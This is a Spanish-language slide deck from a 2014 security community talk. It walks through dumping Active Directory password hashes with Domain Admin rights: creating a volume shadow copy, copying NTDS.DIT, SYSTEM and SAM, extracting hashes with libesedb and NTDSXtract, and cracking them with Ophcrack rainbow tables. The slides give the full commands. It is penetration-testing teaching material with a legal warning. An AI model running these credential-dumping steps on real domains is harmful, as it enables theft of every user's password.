Dumpeando hashes del controlador de dominio por @_hkm
Una plática rápida sobre una de las técnicas más redituables durante una prueba de penetración. Utilizando una cuenta con permisos de administrador de dominio mostraremos como dumpear todos los hashes en formato NTLM almacenados en el controlador de dominio del directorio activo.
1. Como obtener contraseñas del
directorio activo con permisos
de Domain Admin
Ing. Pedro Joaquín
@_hkm
Reunión de la Comunidad Underground de México 2014
28 de junio del 2014
2. Advertencia
• El propósito de esta presentación es demostrar de manera práctica
una técnica conocida de obtención de las contraseñas del Directorio
Activo a partir de una cuenta con permisos de Domain Admin.
• El autor, ni la organización que representa se responsabilizan por el
mal uso que se le pueda dar a las técnicas mostradas a continuación.
• El acceso no autorizado a sistemas o equipos de computo, conocer,
copiar, modificar o destruir información, y la intervención de cuentas
de correo son delitos sancionados en el Código Penal Federal.
• Recomendamos informar a los usuarios que su contraseña puede ser
observada por los administradores de la red.
3. Tres simples pasos
1. Copiar los archivos NTDS.DIT y SYSTEM del controlador de dominio.
2. Extraer los hashes de los archivos.
3. Descifrar (“Crackear”) los hashes.
4. Tres simples pasos
1. Copiar los archivos NTDS.DIT y SYSTEM del controlador de dominio.
2. Extraer los hashes de los archivos.
3. Descifrar (“Crackear”) los hashes.
5. Copiar los archivos NTDS.DIT y
SYSTEM
Crear un Volume Shadow Copy,
Copiar los archivos del Volume Shadow,
Borrar la Volume Shadow Copy
6. NTDS.DIT y SYSTEM
NTDS.DIT
Archivo donde se almacena toda la información del directorio activo. Se
encuentra en %SystemRoot%ntdsNTDS.DIT.
SYSTEM
Contiene el registro SYSTEM el cual contiene la bootkey (SYSKEY)
necesaria para extraer los hashes del NTDS.DIT.
** Los archivos se encuentran protegidos para que no se puedan copiar
fácilmente. Es necesario extraerlos de una Volume Shadow Copy
7. Volume Shadow Copy
• El Volume Shadow Copy eres un sistema de respaldo de unidades de Windows
que permite crear copias de archivos ocultos como el NTDS.DIT, SYSTEM, SAM,
etc.
• Se puede utilizar el comando vssadmin list shadows para saber si existen
copias creadas:
C:>vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001 Microsoft Corp.
No items found that satisfy the query.
8. Crear una Volume Shadow Copy
C:>vssadmin create shadow /for=c:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001 Microsoft Corp.
Successfully created shadow copy for ‘c:’
Shadow Copy ID: {e8eb7931-5056-4f7d-a5d7-05c30da3e1b3}
Shadow Copy Volume Name: ?GLOBALROOTDeviceHarddiskVolumeShadowCopy1
Se utiliza el comando vssadmin create shadow /for=c: para
crear una copia de la unidad c:
9. Copiar los archivos del Volume Shadow Copy
• Comandos para copiar los archivos requeridos al directorio actual:
copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy[X]windowsntdsntds.dit .
copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy[X]windowssystem32configSYSTEM .
copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy[X]windowssystem32configSAM .
[X] Es el identificador de la copia, ver diapositiva anterior.
En algunos sistemas como Windows 2003 y 2008 la ruta windows puede variar a WINNT
10. Para borrar la Volume Shadow Copy
C:> vssadmin delete shadows /for=C: /shadow= e8eb7931-5056-4f7d-a5d7-05c30da3e1b3
11. Extracción de los hashes
Extraer las tablas con libesedb
Extraer los hashes con NTDSXtract
12. Extracción de los hashes
• Para extraer los hashes es necesario tener la tabla database y link del
archivo NTDS.DIT y el archivo SYSTEM.
• Utilizaremos las herramientas de libesedb para extraer las tablas del
NTDS.DIR y posteriormente ntdsxtract para utilizar las tablas y el
SYSTEM para obtener los hashes.
• Estas herramientas corren en Linux.
13. Descarga e instalación de libesedb
# wget
http://libesedb.googlecode.com/files/libesedb-alpha-
20120102.tar.gz
# tar -xzvf libesedb-alpha-20120102.tar.gz
# cd libesedb-20120102
# ./configure
# make
# mv esedbtools/ /usr/local
# cd esedbtools/
14. esedbexport (parte de libesedb)
• Syntaxis:
#./esedbexport –t <directorio de salida> <archivo ntds.dit>
• Este comando tardará mucho. Aprox 25 minutos. Si en 25 minutos
parece que no esta avanzando hay que presionar Enter para
actualizarlo.
• La salida de comando debe ser similar a la siguiente diapositiva…
15. # ./esedbexport -t ~/ntds ~/ntds.dit
esedbexport 20120102
Opening file.
Exporting table 1 (MSysObjects) out of 11.
Exporting table 2 (MSysObjectsShadow) out of 11.
Exporting table 3 (MSysUnicodeFixupVer1) out of 11.
Exporting table 4 (datatable) out of 11.
Exporting table 5 (link_table) out of 11.
Exporting table 6 (hiddentable) out of 11.
Exporting table 7 (sdproptable) out of 11.
Exporting table 8 (sd_table) out of 11.
Exporting table 9 (quota_table) out of 11.
Exporting table 10 (quota_rebuild_progress_table) out of 11.
Exporting table 11 (MSysDefrag1) out of 11.
Export completed.
16. Nombres de archivos exportados
# ls ~/ntdis.export/
MSysObjects.0
MSysObjectsShadow.1
MSysUnicodeFixupVer1.2
datatable.3
link_table.4
hiddentable.5
sdproptable.6
sd_table.7
quota_table.8
quota_rebuild_progress_table.9
MSysDefrag1.10
• No utilizaremos todos los
archivos, únicamente el
datatable3, link_table.4 y el
SYSTEM.
17. Descarga e instalación de NTDSXtract
# wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_2_beta.zip
# unzip ntdsxtract_v1_2_beta.zip
# cd ntdsxtract_v1_2_beta
18. Extracción de hashes
• # python dsusers.py ~/ntds.export/datatable.3
~/ntds.export/link_table.4 ~/TEMP --passwordhashes --
lmoutfile LM.out --ntoutfile NT.out --pwdformat ophc --
syshive ~/SYSTEM
• Se ejecuta un comando similar donde le estamos diciendo la ubicación del
datatable.3, link_table.4 y SYSTEM y esperando el resultado de los hashes en
formato ophc (Ophcrack). Nos generará dos archivos uno de hashes, uno para LM
LM.out y otro de hashes NT NT.out.
19. Descifrar (“Crackear”) los hashes
Descargando Ophcrack,
Obteniendo las Rainbow Tables,
Crackeando los hashes
20. Rainbow tables
• El cifrado NTLM se puede romper utilizando Rainbow Tables que son tablas
precomputadas de hashes.
• Las tablas recomendadas ya que son relativamente pequeñas y se pueden
obtener fácilmente son las XP_Special y las Vista_Special.
• Las tablas son gratuitas. El sitio oficial de las tablas es:
http://sourceforge.net/projects/ophcrack/files/tables/ pero por simplicidad de la
descarga y velocidad recomiendo utilizar los torrents de
• http://thepiratebay.se/torrent/4467431/Ophcrack_XP_Special_Tables
• http://thepiratebay.se/torrent/4403978/Ophcrack_Vista_Special_NTHASH_Table
21. Descargando e instalando Ophcrack
• Ophcrack puede ser utilizado como un LiveCD o desde Windows.
• Se descarga de http://ophcrack.sourceforge.net/
• En este tutorial utilizaremos la versión de Windows, la configuración
es la misma en la versión LiveCD de Linux.
• La diferencia principal es que la versión de LiveCD de Linux puede
obtener automáticamente los hashes de la computadora donde se
ejecuta.
22. Utilizando Ophcrack
• En el menú principal de
Ophcrack se seleccciona Load
y PWDUMP file
• Abrimos el archivo de las
contraseñas NT.out y/o
LM.out
23. Utilizando Ophcrack – Rainbow tables
• En el menú principal de
Ophcrack se seleccciona Tables y
posteriormente Install.
• Seleccionamos los directorios
donde se encuentran las tablas
Vista_special y XP_special.
• Se recomienda habilitar una
tabla a la vez, primero con
XP_special.
24. Crackeando las contraseñas
• En el menú principal de Ophcrack
seleccciona Crack.
• El proceso puede tomar varias horas,
pero el resultado vale la pena…
25. Como obtener contraseñas del
directorio activo con permisos
de Domain Admin
Ing. Pedro Joaquín
@_hkm
Reunión de la Comunidad Underground de México 2014
28 de junio del 2014
26. Referencias
• Código Penal Federal, en materia de delitos en contra de medios o sistemas informáticos:
http://gaceta.diputados.gob.mx/Gaceta/61/2012/mar/20120328-III.html#DictamenaD2
• Getting Hashes from NTDS.dit file:
http://blog.walkerville.org/?p=486
• libesedb:
https://code.google.com/p/libesedb/
• NTDSXtract:
http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_2_beta.zip
• Ophcrack:
http://ophcrack.sourceforge.net/